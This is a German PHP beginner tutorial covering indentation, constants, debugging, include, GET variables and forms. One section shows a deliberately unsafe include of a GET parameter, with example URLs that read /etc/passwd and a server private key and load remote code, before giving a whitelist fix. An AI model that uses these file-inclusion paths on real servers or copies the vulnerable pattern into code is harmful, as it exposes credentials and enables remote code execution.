7. Switch Einrücken
Switch-Abfragen folgen dem selben Einrückstil wie die anderen Programmteile.
Die case Anweisungen werden jedoch auf Höhe des switch-Schlüsselworts
geschrieben. Das heißt das vom Schritt switch->case->Programmcode
nicht zwei mal eingerückt wird sondern nur einmal. Das break; (falls vorhanden)
bleibt dabei auf der Höhe der Einrückung.
<?php switch ($var) { case 'z': arbeite(); break; case 'y': arbeite(); default: arbeite(); } ?>
8. Einrücken des Beispielcodes
Als Beispiel wird nochmal der Code von oben eingerückt. Hier der ursprüngliche PHP-Code.
<?php error_reporting(E_ALL); ini_set('display_errors', 1); function todo($str) { for($i=0;$i<strlen($str);$i++) { if("z" == $str[$i]) { $str[$i]="1"; }else{ if("a" == $str[$i]) { $str[$i]="2"; }else{ switch($str[$i]) { case "b":case "c": $str[$i]=1; break; case "c": $str[$i]=0; } } } } } class Foobar { private $bar; public function __construct($a) { $this->bar = $a; } public function ersetze() { foreach($a as $value) { if(is_string($value)) { $value=todo($value); } } } } $obj = new Foobar(array("x","z")); $obj->ersetze(); ?>
/** * PHPDoc zu Todo */ function todo($str) { for($i=0; $i<strlen($str); $i++) { if ("z" == $str[$i]) { $str[$i]="1"; } else { // besser zu einem else if() if ("a" == $str[$i]) { // zusammenfassen, um eine Einrückungstiefe zu sparen $str[$i]="2"; } else { switch ($str[$i]) { case "b": case "c": $str[$i]=1; break; case "c": $str[$i]=0; } } } } }
/** * PHPDoc zu Foobar */ class Foobar { /** * PHPDoc zu $bar */ private $bar;
/** * PHPDoc zum Konstruktor */ public function __construct($a) { $this->bar = $a; }
/** * PHPDoc zu ersetze() */ public function ersetze() { foreach ($a as $value) { if (is_string($value)) { $value = todo($value); } } } }
$obj = new Foobar(array("x","z")); $obj->ersetze(); ?>
Konstanten können wie Variablen Werte enthalten, die aber
nicht mehr geändert werden können (daher auch der Name). Des Weiteren können
Konstanten nicht jeden Typ von Wert enthalten wie es bei Variablen möglich ist.
So können Konstanten nur Skalare Werte
sowie den speziellen Datentyp NULL enthalten. Im Gegensatz zu Variablen
sind Konstanten jedoch im ganzen Skript verfügbar. Dies schließt auch
Funktionsrümpfe mit ein obwohl eine Konstante nicht dort definiert wurde. Konstanten
werden z.B. häufig für Einstellungen gesetzt, aber auch für
spezielle Parameterwerte für Funktionen wie z.B. bei error_reporting.
2. Definieren und Auslesen von Konstanten
Konstanten werden in PHP mit der Funktion define erzeugt. Der
erste Parameter ist dabei der Name der neuen Konstante, der zweite
Parameter der Wert für diese Konstante.
<?php define('SITE_NAME', 'Meine Tolle Homepage'); ?>
Konstanten unterliegen den selben Namenskriterien wie Variablen (abgesehen vom
fehlenden Dollarzeichen $). Sie können somit auch nicht mit Ziffern
anfangen. Konstanten werden zusätzlich üblicherweise komplett in Großbuchstaben
geschrieben.
Um auf eine Konstante zuzugreifen wird einfach der Name der Konstante verwendet.
<?php echo SITE_NAME; // oder auch echo 'Willkommen auf '.SITE_NAME.'!'; // jedoch nicht echo 'Willkommen auf SITE_NAME!'; // wird die Konstante nicht finden ?>
3. Verwendung von Konstanten
Konstanten werden in PHP für die bereitgestellten Funktionen als Parameter benutzt
die eigentlich eine Zahl erwarten oder als Rückgabewerte verwendet die eigentlich nur Zahlen sind,
jedoch sich niemand diese Zahlen merken kann oder will.
Diese Konstanten die in PHP vordefiniert sind haben dann verständliche Namen, die dann
verwendet werden können. So liefert die Funktion getimagesize einige Informationen
über ein Bild zurück. Dazu gehört der Typ des Bildes (PNG, JPEG, GIF, etc.). Diese
Information ist in einer Zahl kodiert. So steht z.B. 1 für GIF und 4 für PNG. Um nun
den Typ eines Bildes zu prüfen könnten man den Typ gegen diese Zahlen vergleichen.
<?php if (1 == $bildtyp) { } else if (4 == $bildtyp) { } ?>
Damit man nicht immer im Handbuch nachgucken muss was 1 oder
4 bedeutet kann man (und sollte auch) die vordefinierten Konstanten verwenden.
<?php if (IMAGETYPE_GIF == $bildtyp) { } else if (IMAGETYPE_PNG == $bildtyp) { } ?>
Somit ist für jeden klar was die If-Abfrage überprüft und wann diese
ausgeführt wird. Diese Idee wird auch bei Parametern verwenden. Als Beispiel
dient hier die error_reporting Funktion, die eine Zahl erwartet. Diese
Zahl wird in ihre Bits zerlegt und Anhand dieser Zerlegung entscheidet diese Funktion
welche Fehlermeldungen angezeigt werden sollen und welche nicht. Ein gültiger
Funktionsaufruf wäre der folgende:
<?php error_reporting(8191); ?>
Da jedoch niemand weiß was diese Zahl nun bedeutet verwendet man vordefinierte
Konstanten, in diesem Fall die E_* Konstanten. Für den
Entwickler ist es nun klarer welchen Wert der Parameter ist bzw. sein soll.
<?php error_reporting(E_ALL | E_STRICT); ?>
Des Weiteren können sich die Werte der Funktionen ändern. So ist z.B. der
Wert E_ALL in der PHP Version 5.2.x 6143, davor jedoch
2047. Somit würde der gleiche Code bei unterschiedlichen
PHP-Version vielleicht anders ablaufen. Bei der Verwendung von diesen
Konstanten wird automatisch der richtige Wert genommen/errechnet, der
für diese PHP-Version grad gültig ist, da die grad laufende PHP-Version
selbst weiß welcher Konstante welchen Wert hat.
Da niemand Perfekt ist können sich auch Fehler in PHP-Skripten einschleichen.
Für den Programmierer heißt dies dass die Fehler im Skript erkannt und beseitigt
werden müssen. Dafür stehen dem Programmierer einige Techniken zur Verfügung,
von Debugzeilen mit echo über var_dump und
debug_print_backtrace bis hin zu
Debugger-Möglichkeiten.
2. Fehlermeldungen anzeigen lassen
Um Fehler zu korrigieren müssen diese erstmal gefunden werden. Dies kann daran
scheitern dass die entscheidenen Fehlermeldungen nicht angezeigt werden. Je nach
PHP-Installation und Konfiguration werden nur bestimmte Typen von Fehlermeldungen
angezeigt. Die Wahl der Typen wird durch die Funktion error_reporting
bestimmt sowie der dazugehörigen Konfiguration error_reporting in der
php.ini. Um alle Typen von Fehlermeldungen zu aktivieren setzt man
den Wert für error_reporting auf E_ALL.
<?php error_reporting(E_ALL); ?>
Neben dem Wählen der Typen existiert die Einstellung display_errors
die angibt ob überhaupt Fehlermeldungen angezeigt werden sollen. Zu Entwicklungszeiten
wird diese Einstellung aktiviert, für den laufenden Betrieb wird diese jedoch
aus Sicherheitsgründen deaktiviert. In PHP gibt es keine spezielle Funktion
um diesen Wert zu aktivieren, daher muss hier die ini_set-Funktion
verwendet werden.
Da nun alle Fehlermeldungen angezeigt werden können nun die entsprechenden
Fehler korrigiert werden.
3. Syntaktische Fehler
Syntaktische Fehler sind die einfachsten Fehler in PHP, da sie ein Skript
daran hindern überhaupt das PHP-Skript zu starten. Bevor ein PHP-Skript seine Arbeit aufnimmt
wandelt der PHP-Interpreter den Quellcode in Tokens um.
<?php /** * Start des Skriptes */ $i = 10; do { echo $i."\n"; $i = floor($i/2); } while ($i) echo 'i ist nun '.$i; ?>
Dieses PHP-Skript wandelt PHP in die folgenden Tokens um. Intern behält PHP nur diese Liste, jedoch sind
hier die Tokens entsprechend so eingerückt wie sie im Quellcode vorkommen.
Zur besseren Übersicht löschen wir alle T_WHITESPACE Tokens, da sie eh ignoriert werden. Sie kommen
von den Zeilenumbrüchen und den Leerzeichen im Quellcode.
Mit dieser Liste von Tokens kann der PHP-Interpreter nun rechnen. Er prüft nun ob die Tokens
an den richtigen Stellen stehen und ob das Zusammenspiel auch passt. Der Ausdruck $i = 10;
wird in die Tokenliste T_VARIABLE = T_LNUMBER ; umgewandelt (jetzt ohne T_WHITESPACE).
Intern überprüft der PHP-Interpreter ob dies ein gültiger Ausdruck ist, was in diesem Beispiel der
Fall ist.
Wenn wir dieses Skript aufrufen werden wir mit folgender Fehlermeldung belohnt.
Parse error: syntax error, unexpected T_ECHO, expecting ';' in DATEI on line 10
Hier ist der PHP-Interpreter nicht mit Zeile 10 zufrieden. Zeile 10 sieht jedoch in Ordnung aus. Das Problem liegt
eine Zeile davor, da hinter der do-while-Schleife ein Semikolon vergessen wurde. Der
PHP-Interpreter hat sich die Tokens bis dahin angeguckt und gemerkt und erwartet nun nach der schließenden
geschweiften Klammer ) ein Semikolon (siehe expecting ';'). Nun, zuerst findet
er das T_WHITESPACE Token für den Zeilenumbruch (nicht schlimm, wird ja eh ignoriert). Und dann
findet er in Zeile 10 das Token T_ECHO vom echo-Konstrukt. Dies ist absolut nicht
erwartet (siehe unexpected T_ECHO) und PHP bricht mit dem Parsen des Skriptes mit einem
Parse error ab. Die Liste der erwarteten Tokens ist bei diesen Fehlermeldungen
meist gekürzt, da mehrere Tokens folgen können. Alle Token aufzulisten die passen würde keinen weiterbringen.
Erstens wissen die Programmierer wie programmiert wird und zweitens ist es wichtig zu Wissen was fehlerhaft ist
und nicht was dort vielleicht irgendwie verwendet werden könnte.
Die Zeilenangabe in der Fehlermeldung ist nur die Stelle an der ein Fehler aufgetreten ist, muss
aber nicht die Ursache für den Fehler sein. Es gibt dabei so einige Orte wo der Fehler zu suchen ist.
In den meisten Fällen befindet sich der Fehler direkt eine Zeile davor. Anfänger vergessen oft
das Semikolon in der Zeile davor. Für den PHP-Interpreter wird der entsprechende Ausdruck noch
nicht beendet und versucht in der nächsten Zeile noch was passendes zu lesen, was meistens
fehlschlägt.
In einigen Fällen befindet sich der Fehler tatsächlich in der angegebenen Zeile, daher auch leicht
zu finden. Wenn der PHP-Quellcode komplett in einer Zeile geschrieben wird wird auch jede Fehlermeldung mit
der richtigen Zeile angegeben, aber das hilft dann auch keinem weiter...
In seltenen Fällen befindet sich der Fehler sehr weit oberhalb der angegeben Zeile. Bei
einem vergessenen String-Begrenzer (' oder ") liest PHP den folgenden
Quellcode so ein als würde er noch zum String gehören. Dabei schlägt er letztendlich fehl wenn
er auf ein neuen String-Begrenzer trifft (von einem gewünschten anderem String) oder er
das Dateiende erreicht. Dann erscheinen solche Fehlermeldungen wie
Parse error: syntax error, unexpected $end in DATEI on DATEIENDE, obwohl die
letzte Zeile des Skriptes (meistens ein ?>) nichts für den Fehler kann.
4. Fehlermeldungen verstehen
Neben Syntax Fehlern können auch normale Programmierfehler auftreten, wenn z.B. eine Zahl
durch 0 geteilt wird. Der Ausdruck $x = $y / $z; ist zwar syntaktisch richtig, kann
aber zu einer Fehlermeldung Warning: Division by zero in DATEI on ZEILE führen. Alle
diese Fehlermeldungen besitzen den gleichen Aufbau. Sie beginnen mit einer Klassifizierung der
Fehlermeldung. So reicht die Klassifizierung von einem Hinweis (Notice) bis hin zu
einem Skriptabbruch (Fatal error). In jedem Fall muss der Programmfehler korrigiert
werden. Es reicht nicht das error_reporting-Level runterzuschrauben. Das verhindert
zwar die Fehlermeldung, behebt aber nicht den Fehler.
Nach der Klassifizierung kommt die eigentliche Fehlermeldung. Sie beschreibt was passiert ist
bzw. was nicht unternommen werden kann. Hier ist die Erfahrung gefragt wie eine Fehlermeldung
zu lesen ist. Ein Undefined index '0' mag vielleicht noch einfach zu lesen
sein, ein Warning: Cannot modify header information - headers already sent by
(output started at DATEI:ZEILE) in DATEI on line ZEILE wohl nicht so einfach, bis
hin zu Fehlermeldungen wie Warning: fopen() - No
error in DATEI on line ZEILE.
Die angegeben Datei gibt aufschluss wo der Fehler aufgetreten ist, muss aber nicht unbedingt die
Quelle der Ursache sein (z.B. wenn eine Variable in einer anderen Datei gesetzt wird). Beliebte
Fehler sind auch die falsche Datei zu bearbeiten oder die falsche Datei hochzuladen um dann
zu sehen dass der Fehler nach dem Korrigieren doch nicht verschwunden ist.
5. Semantische Fehler finden
Wenn Fehlermeldungen durch PHP angezeigt werden ist es entsprechend einfach den
Fehler zu korrigieren. Problematisch sind Fehler die nicht durch PHP erkannt
werden, jedoch trotzdem Fehler sind. Diese semantische Fehler
können nicht durch PHP erkannt werden, PHP-Skripte arbeiten nur den Plan
ab der programmiert wurde.
Um den Verlauf eines PHP-Skriptes zu prüfen muss dieser vorher
sauber eingerückt werden. Allein durch das Einrücken
können viele logische Fehler bereits erkennt werden, wenn z.B. Programmcode in
falschen If-Abfragen liegen. Um des Weiteren z.B. zu prüfen ob eine If-Abfrage betreten
wird oder nicht können Debugzeilen eingefügt werden. Dabei handelt es sich um
echo- oder var_dump-Aufrufe mit denen der Programmfluss erkannt
werden kann.
<?php echo 'vor der if-abfrage'; if (bedingung) { echo 'bin in der if-abfrage'; mach_was(); } else { echo 'bin im else-teil'; mach_dies(); } echo 'nach der if-abfrage'; ?>
Wenn nun bei diesem PHP-Skript der Text vor der if-abfragebin in der if-abfragenach der if-abfrag
ausgegeben wird sieht man einmal dass man wieder einen HTML-Zeilenumbruch <br/>
bzw. PHP-Zeilenumbruch \n vergessen hat, aber auch das der PHP-Interpreter den
If-Teil der If-Afrage betreten hat. Wenn dies z.B. nicht richtig ist sollten die Bedingungen
für die If-Abfragen überprüft werden.
Durch var_dump können dann auch diverse Variablen zum Prüfen der Werte
ausgegeben werden.
Wenn man nun beginnt seine PHP-Skripte zu schreiben werden diese immer
länger und länger. Wenn man dann auch z.B. andere PHP-Skripte hat, die
in etwa den selben Aufbau haben so hat man einerseits auch wieder ein
PHP-Skript das länger und länger wird, andereseits auch ein
PHP-Skript dessen Code auch teilweise identisch in anderen PHP-Skripten
steckt. Sinnvoller wäre es wenn man all diese identischen Teile
auslagern kann und in seinen PHP-Skripten sowas wie
Lade den Code XY. Eine Möglichkeit besteht mit Funktionen.
Diese müssen aber auch im PHP-Skript selbst stehen und können entsprechend
auch doppelt und dreifach in mehreren PHP-Skripten stehen. Besser
ist da die Verwendung von include. Diesem Sprachkonstrukt
übergibt man ein Dateinamen und das Skript verarbeitet den Inhalt
dieser Datei als PHP-Code.
2. Include
Wenn in einem PHP-Skript das include Sprachkonstrukt verwendet wird
passieren intern ungefähr folgende Dinge.
Beenden des PHP-Modus (?>).
Laden und Verarbeiten der Datei.
Wiedereintritt in den PHP-Modus (<?php).
Die Verarbeitung geschiet dann genau so als würde der Inhalt der Datei an der
Stelle eingefügt wo das include steht. Intern wird dabei wie gesagt
vorher der PHP-Modus verlassen und nachher wieder der PHP-Modus betreten.
<p>
HTML Code in einer Datei <code>datei.html</code>.
</p>
<?php // Inhalt einer index.php Datei die vom Benutzer geöffnet wird.
echo 'Vor dem Include';
include 'datei.html';
echo 'Nach dem Include'; ?>
Die entstehende HTML-Quellcode Ausgabe ist die folgende.
Vor dem Include<p>
HTML Code in einer Datei <code>datei.html</code>.
</p>
Nach dem Include
Hier sieht man auch warum es wichtig ist dass PHP beim include
den PHP-Modus verlässt. So wird sichergestellt das sehr einfach
und ohne Probleme HTML-Dateien geladen werden können. Intern würde der
oben stehende PHP-Code wie folgt aussehen.
<?php // Inhalt einer index.php Datei die vom Benutzer geöffnet wird.
echo 'Vor dem Include';
?><p> HTML Code in einer Datei <code>datei.html</code>. </p> <?php
echo 'Nach dem Include'; ?>
Dies heißt auch wenn man PHP-Dateien auch als PHP-Skripte laden möchte so
müssen diese auch die PHP-Start/Stop-Zeichen <?php und
?> enthalten.
<?php // Datei: foobar.php echo "Eine zweite Zeile\n"; ?>
<?php // Datei: index.php, wird vom Benutzer geöffnet echo "Erste Zeile\n"; include 'foobar.php'; echo "Dritte Zeile\n"; ?>
Erzeugt die erwartete Ausgabe.
Erste Zeile
Eine zweite Zeile
Dritte Zeile
PHP hat intern umgefähr folgendes gemacht.
<?php // Datei: index.php, wird vom Benutzer geöffnet echo "Erste Zeile\n"; ?><?php // Datei: foobar.php echo "Eine zweite Zeile\n"; ?><?php echo "Dritte Zeile\n"; ?>
Nehmen wir für unsere Vereinfachung die ?><?php Zeilen
herraus sehen wir den PHP-Code den wir genau haben wollten.
<?php // Datei: index.php, wird vom Benutzer geöffnet echo "Erste Zeile\n"; // Datei: foobar.php echo "Eine zweite Zeile\n"; echo "Dritte Zeile\n"; ?>
Aus diesem Grund können auch Variablen verwendet werden, die erst in einer
anderen PHP-Datei definiert werden.
<?php // Datei: index.php, die vom Benutzer geöffnet wird include 'config.php';
echo 'Ich bin '.$vorname.' '.$nachname.', Willkommen auf meiner Homepage'; ?>
3. Include mit Verzeichnisstrukturen
Wenn eine Datei geladen wurde die in einem Unterverzeichnis liegt
und diese Datei nun z.B. eine weitere Datei laden möchte so
sucht PHP an zwei Stellen nach dieser Datei. Die erste Position
von der gesucht wird ist die Position von der Datei
die die neue Datei laden möchte. Die zweite Position ist
die Position von der Datei, die am anfang vom
Browser geöffnet wurde. Da dies unverständlich klingt lieber
hier ein Beispiel.
<?php // index.php (wird vom Benutzer aufgerufen) include 'inc/config.php'; echo 'Mein Name ist "'.$name.'"'; ?>
<?php // config.php (im Verzeichnis inc/) include 'functions.php'; include 'variables.php'; echo "Konfiguration geladen\n"; ?>
<?php // functions.php (im selben Verzeichnis wie index.php) function foobar() { // ... } echo "Funktionen geladen\n"; ?>
Wenn nun die index.php geöffnet wird, so entsteht folgende
Ausgabe.
Funktionen geladen
Variablen geladen
Konfiguration geladen
Mein Name ist "Max Mustermann"
Es scheint also fast kein Unterschied zu machen wo nun die Dateien liegen
die man laden möchte (hier jetzt functions.php und
inc/variables.php). Intern schlägt nun der Mechanismus zu
wo er die Datei sucht und dann auch findet.
Bei include 'functions.php';
wird die functions.php zuerst in dem Verzeichnis gesucht wo sich die
config.php Datei befindet. Nicht gefunden also wird nun an der Position
gesucht wo die Abarbeitung anfing, in diesem Fall da wo die index.php
liegt. Dort wurde die benötigte Datei gefunden und geladen.
Bei include 'variables.php'; wird die variables.php
auch zuerst in dem Verzeichnis gesucht wo sich die config.php Datei
befindet. In diesem Verzeichnis (hier inc/) liegt die
variables.php und wird somit auch geladen.
Dieser interne Mechanismus kann aber auch zu Problemen führen, dass es zwei Möglichkeiten
gibt wo eine Datei liegen kann (mit include_path
sogar mehrere). Dieses Verhalten kann deaktiviert werden wenn die zu ladene Datei mit
./ oder ../ anfängt. Dann wird nur noch von der Startdatei gesucht,
nicht mehr von der Include-Datei.
Für den Entwickler heißt dies dass man in einer PHP-Datei, welches includiert wird,
weiterhin include verwenden kann ohne wissen zu müssen von wo das eigene Skript
später aufgerufen wird. Die Entwickler schreiben somit in ihren Skripten einfach include 'variables.php';
anstelle von wilden Ausdrücken wie include dirname(__FILE__).'/variables.php';.
4. Return von Include
Include-Dateien können wie Funktionen auch ein return enthalten. Somit ist es möglich
ein include wie eine Funktion zu behandeln und den Rückgabewert in eine
Variable zu speichern.
<?php // datei.php return "text"; ?>
<?php // index.php $var = include 'datei.php'; echo $var; // gibt 'text' aus ?>
Die include Anweisung liefern Standardmäßig den Integerwert 1 zurück.
Dies ist auch eine häufige Fehlerquelle bei include von Anfängern. Diese
schreiben in ihren Skripten Ausdrücke wie echo include 'news.php';. Neben
der Tatsache dass das Newsskript geladen wird erhalten sie auch am eine
in der Ausgabe eine zusätzliche 1 und wundern sich woher diese kommt. Daher
auch der Hinweis dass echo include '....'; in seltenen Fällen Sinn ergibt.
PHP-Skripte leben von Eingaben bzw. Daten die von Benutzer stammen. Diese Daten können
über drei Wege in das Skript gelangen. Eine davon sind die URL-Parameter, auch
GET-Variablen genannt. Diese Werte befinden sich in der URL und
werden nach dem Pfad angegeben und mit einem ? getrennt. Beispiele
für solche URLS mit GET-Variablen sind http://www.example.com/file.php?section=news
oder http://www.example.com/dl.php?cat=5&id=3&view=false. Ein
Anker (z.B. #top in http://www.example.com/datei.php#top) ist
nicht mehr Bestandteil der GET-Variablen und wird nicht zum Server gesendet.
2. Auslesen von GET-Variablen
Alle GET-Variablen aus der URL werden in PHP im Array $_GET abgelegt. Dieses
Array ist vordefiniert und auch vorhanden selbst wenn keine GET-Variablen übergeben wurden.
Des Weiteren ist dies ein superglobal Array. Solche Variablen
sind in jedem scope vorhanden und müssen daher nicht
als Parameter an Funktionen übergeben werden. Der Name der GET-Variable dient dabei
als Index für das Arrayelement im $_GET-Array. Aus der URL
http://www.example.com/file.php?section=news&site=show erzeugt
PHP die Arrayelemente 'section' => 'news' und
'site' => 'show'.
<?php // bei einem Aufruf von file.php?section=news echo $_GET['section']; // gibt 'news' aus ?>
Alle Werte der GET-Variablen sind Strings oder Arrays, selbst wenn sie z.B.
nur aus Ziffern bestehen. Aus ?var=false&ID=4 wird einmal
das Arrayelement mit dem Stringindex var mit dem 5 Zeichen langen
String false (also kein bool(false)) und
ein Arrayelement mit dem Stringindex ID mit dem 1 Zeichen langen
String 4 erzeugt (also kein int(4)).
<?php // bei einem Aufruf von file.php?var=false&ID=4 var_dump($_GET['var']); // gibt string(5) "false" aus var_dump($_GET['ID']); // gibt string(1) "4" aus ?>
Wenn der Name wie eine Arrayelement-Zuweisung aussieht verarbeitet PHP
diese genauso. Aus ?foo[4]=bar wird im PHP-Skript
$_GET['foo'][4] mit dem String bar gefüllt.
Diese Technik wird häufig bei Formularen verwendet. Auch hierbei gilt
dass die Werte am Ende wieder nur aus Arrays oder Strings bestehen.
3. Gefahren von Außen
Das $_GET-Array wird nur mit Variablen gefüllt die in der
URL angegeben sind. Andersrum bedeutet dies auch wenn ein Wert nicht in
der URL angegeben ist wird es auch nicht in $_GET erscheinen.
Dies ist eine Überprüfung die in jedem Skript durchgeführt werden muss.
Wenn versucht wird auf ein Arrayelement zuzugreifen welches nicht exisiert
wird eine entsprechende Fehlermeldung ausgegeben.
<?php echo $_GET['nicht_definiert']; // Notice: Undefined index: nicht_definiert in DATEI on line ZEILE ?>
Um so einen Fehler zu beheben könnte man einerseits einfach die Fehlermeldungen
mit error_reporting ausschalten. Jedoch besser ist es wenn
man vorher prüft ob externe Variablen auch vorhanden sind. Dies kann mit
der isset Funktion überprüft werden.
<?php if (isset($_GET['xyz'])) { echo "Die GET-Variable 'xyz' wurde gefunden und hat den Wert '".$_GET['xyz']."'."; } else { echo "Es wurde keine GET-Variable 'xyz' angegeben."; } ?>
Des Weiteren werden diese Variablen letztendlich vom Benutzer bestimmt,
unabhängig davon ob er nur auf einen Link klickt oder nicht. Das heißt
dass der Inhalt nicht vom PHP-Skript erstellt wurde. Dies gilt somit als
Angreifpunkt. Daher sollte man externe Variablen wie GET-Variablen nie
direkt ausgeben, geschweige denn als richtig oder
gültig ansehen. Je nach dem was der Benutzer versucht
zu hacken
muss man entsprechend reagieren und prüfen. Wenn man eine Zahl erwartet, weil
man z.B. einen speziellen Newsbeitrag wählen möchte (erkennbar an URLs die
eine Zahl enthalten, wie z.B. show=news&newsid=5), sollte
trotzdem überprüft werden ob der angegeben Wert auch wirklich eine Zahl ist.
Bei Eingaben vom Benutzer die später ausgegeben werden muss überprüft
werden ob sie z.B. schädlichen Javascript-Code enthalten. Solche Dinge
lassen sich z.B. mit Funktionen wie htmlspecialchars
entschärfen.
Die einzelne Bereiche einer Internetseite haben meist einen ähnlichen
Aufbau zueinander. So gibt es z.B. stehts ein Menu und ein Bereich
wo der eigentliche Inhalt/Content geladen wird. Dies wird üblicherweise
mit den include-Anweisungen und einer Hauptdatei realisiert.
Anhand einer GET-Variable wird gesteuert welcher Teil im Inhaltsbereich
geladen werden soll.
Die Hauptdatei, meist mit dem Namen index.php, dient dazu
die einzelnen ausgelagerten Teile einer HTML-Seite mit include
oder readfile zu laden oder direkt mit echo
HTML-Code auszugeben.
include 'header.html'; // doctype, <html> und das komplette <head>-element echo " <body>\n"; include 'menu.html';
// Bereich laden
echo " </body>\n"; echo "</html>\n"; ?>
Die header.html-Datei enthält dabei alles was zum
Kopfbereich eines HTML-Dokuments gehört und die menu.html-Datei
ein Menu mit den Links zu den einzelnen Bereichen.
2. Bereiche Anhand einer GET-Variable laden
Da eine GET-Variable die verschiedenen Bereiche unterscheiden muss stellt
sich die Frage wie der Inhalt der GET-Variable einen spezifischen
Bereich läd. Die erste Möglichkeit die einem einfallen würde wäre
wenn mit der GET-Variable die Datei angegeben wird die geladen werden soll.
<?php if (isset($_GET['section'])) { include $_GET['section']; } else { include 'news.php'; // falls keine section angegeben ist lade standardmäßig die news } ?>
So kann z.B. der Newsbereich mit der URL index.php?section=news.php
oder das Gästebuch mit index.php?section=guestbook.php geladen werden.
Wenn jedoch dieser Code verwendet werden ist dies das selbe als würde auf
der Homepage die Zugangsdaten zum Server stehen. Ein sogenannter
GET-Include ermöglicht wie man sieht ein PHP-Skript zu laden.
Insbesondere können damit PHP-Skripte geladen werden die gar nicht dazu
gedacht sind geladen zu werden. Über index.php?section=/etc/passwd
könnte man z.B. die passwd Datei laden. Über
index.php?section=/etc/apache2/ssl/server.key (entsprechende
Leserechte vorrausgesetzt) kann ein privater Schlüssel ausgegeben werden.
Was jedoch viel schlimmer ist dass über eine externer Seite fremder PHP-Code
geladen werden kann. Funktionen wie include unterstützen
auch das laden von URLs. Somit kann jemand die URL
index.php?section=http://www.example.com/evil_code.txt aufrufen
und das PHP-Skript läd den Code und führt ihn aus. Und wenn ein Besucher den
Code vorschreiben kann den PHP ausführen soll ist es schon zu spät.
Eine bessere Möglichkeit besteht wenn die Menge der zu ladenen Dateien
mehr eingeschränkt ist. Es gibt viele Möglichkeiten dies zu realisieren, wie
z.B. das Verzeichnis überprüfen bzw. vorschreiben. Die sicherste Methode
ist es alle gültigen Dateinamen in ein Array zu schreiben. Die Indizes
geben dabei die Bereiche an die geladen werden sollen. Somit kann man über
die GET-Variable bestimmen welche Datei geladen werden soll.
Abhängig von der GET-Variable kann dann der entsprechende Dateinamen geladen
werden.
<?php include $section[$_GET['section']]; ?>
Hierbei können noch 2 Indexfehler auftreten. Einmal kann der Benutzer eine
URL aufrufen ohne section-Variable. Des Weiteren kann er ein
Bereich angeben der nicht im Array vorkommen. Für beide Fälle muss eine
entsprechende if-Abfrage eingebaut werden. Dafür eignet
sich die Funktion isset.
<?php if (isset($_GET['section'], $section[$_GET['section']])) { include $section[$_GET['section']]; } else { include $section['news']; } ?>
Dieser Code kann nun in der index.php verwendet werden.
Viele Internetseiten bieten Bereiche an in denen ein Text eingegeben oder eine Auswahl
getroffen werden kann. Danach muss man dann üblicherweise auf einen Buttom Absenden
klicken. Solche Stellen werden Formulare genannt. Dabei werden die Eingaben
und Auswahlfelder an ein PHP-Skript gesendet. Dieses PHP-Skript kann dann darauf entsprechend
reagieren, wie z.B. einen neuen User hinzufügen oder ein Newsbeitrag bearbeiten.
2. Formulare in HTML-Dokumenten
Wie bekannt
werden Formulare mit dem HTML-Element <form> erzeugt. Das action-Attribut
gibt dabei die URL an, an der das Formular gesendet werden soll, in unserem Fall also
stehts ein PHP-Skript. Dieses Skript wird dann mit den Daten des Formulars aufgerufen, es wird
also zu dieser Seite weitergeleitet.
Mit dem method-Attribut gibt man an auf welcher Art und Weise die Formulardaten gesendet werden.
Mit dem Wert get wird die URL mit der GET-Methode aufgerufen. Dies
entspricht einem normalen Aufruf wie die Eingabe einer URL im Browser. Die Daten aus dem Formular
werden dabei an die URL angehängt. Da bei dieser Variante die URL mit den ganzen Daten überladen wirkt
(abgesehen davon dass jede Eingabe, auch Passwörter, sichtbar ist) wird üblicherweise der Wert
post für das Attribut verwendet. Hierbei werden die Formulardaten versteckt in dem HTTP-Request
übermittelt. Die Daten selbst bleiben zwar weiterhin lesbar (sind also nicht verschlüsselt oder ähnliches),
sind aber für den Benutzer nicht zu sehen. So wird z.B. die URL http://www.example.com/login.php
für den Benutzer normal aufgerufen, die Formulardaten werden dabei versteckt übermittelt.
3. Verarbeitung in PHP
Damit auf die Formularfelder in PHP zugegriffen werden kann müssen alle Formularfelder ein
name-Attribut besitzen. Im PHP-Skript sind die Formulardaten dann in den Superglobalen
Arrays $_GET oder $_POST abgelegt, je nach dem welche Methode im
method-Attribut angegeben wurde. Der Schlüssel eines Arrayelements ist dabei der
gewählte Namen im Formular, der Wert des Arrayelements wird dann mit dem Wert des Formularelements
gefüllt.
Der Name des Formularfeldes kann dabei ein Arrayelement beschreiben. Wenn das Attribute
name="foobar[5]" verwendet wird so erzeugt PHP automatisch das passende Array
$_POST['foobar'][5] mit dem entsprechenden Wert. Wenn der Index weggelassen wird
(name="foobar[]") wird auch ein Arrayelement erzeugt, so als würde man in PHP
$array[] = "wert"; schreiben. Dies wird bei Checkboxen verwendet, wo alle
Werte von den Checkboxen in ein Array gespeichert werden.
4. Texteingabefelder
Für einzeilige Texteingabefelder wird das HTML-Element <input> verwendet. Für
einfache Texteingaben wird das Attribute type="text" verwendet, für Passworteingaben
wird das Attribut type="password" verwendet. Für mehrzeilige Texteingaben (wie z.B.
Formularbeiträgen) wird hingegen das <textarea>-Element verwendet.
Wenn das Formular abgeschickt wird erzeugt das PHP-Skript das folgende $_POST-Array.
<?php $_POST['Username'] = /* Eingabe vom Username-Feld */; $_POST['Pass'] = /* Eingabe vom Password-Feld */; $_POST['formaction'] = 'Einloggen'; // der Wert wurde durch value="" vorgeschrieben. ?>
5. Dropdownlisten
Dropdownlisten werden mit dem HTML-Elementen <select> und <option>
erzeugt. Wenn das Attribut multiple="multiple" verwendet wird sollte der
Name der Dropbox auf [] enden, damit für alle gewählten Listeneinträge entsprechend
ein Arrayelement erzeugt wird.
Für Radio- und Checkboxen werden <input>-Elemente verwendet.
Je nach dem welchen Typ man haben möchte wählt man type="radio"
oder type="checkbox". Damit die Radiobuttons bzw. die Checkboxen genau so
funktionieren soll wie man es erwartet sollten die Radiobuttons bzw. die Checkboxen
den selben Namen besitzen. Bei Checkboxen sollte der Name wieder auf []
enden damit für jede Auswahl ein Arrayelement erzeugt wird, sonst würde nur
die letzte Auswahl in PHP gespeichert werden.
Wenn bei den Formularfeldern für Radio- und Checkboxen keine Wert angegeben werden
so wird bei einem ausgewählten Feld der Wert on übergeben. Wenn
das Element nicht ausgewählt wird (wie hier die Zutat Salami) wird gar nichts gesendet.
7. Traue niemanden
Wie bei GET-Variablen kommen bei einem Formular die Daten von außen in das PHP-Skript. Daher
können diese Variablen mit jeden beliebigen Wert gefüllt werden, oder auch gar nicht erst
gesendet werden. In den PHP-Skripten muss entsprechend darauf geachtet werden ob die
